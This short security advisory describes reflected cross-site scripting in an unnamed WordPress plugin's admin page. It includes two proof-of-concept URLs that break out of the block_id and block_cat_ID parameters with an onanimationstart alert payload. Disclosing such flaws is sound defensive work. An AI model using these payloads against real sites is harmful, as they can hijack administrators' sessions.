The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin
v < 3.0.13 (the block_id needs to start with an existing block ID
https://example.com/wp-admin/admin.php?page=blocks_form&block_id=567"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//
v < 2.662
https://example.com/wp-admin/admin.php?page=blocks_form&block_cat_ID=1"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//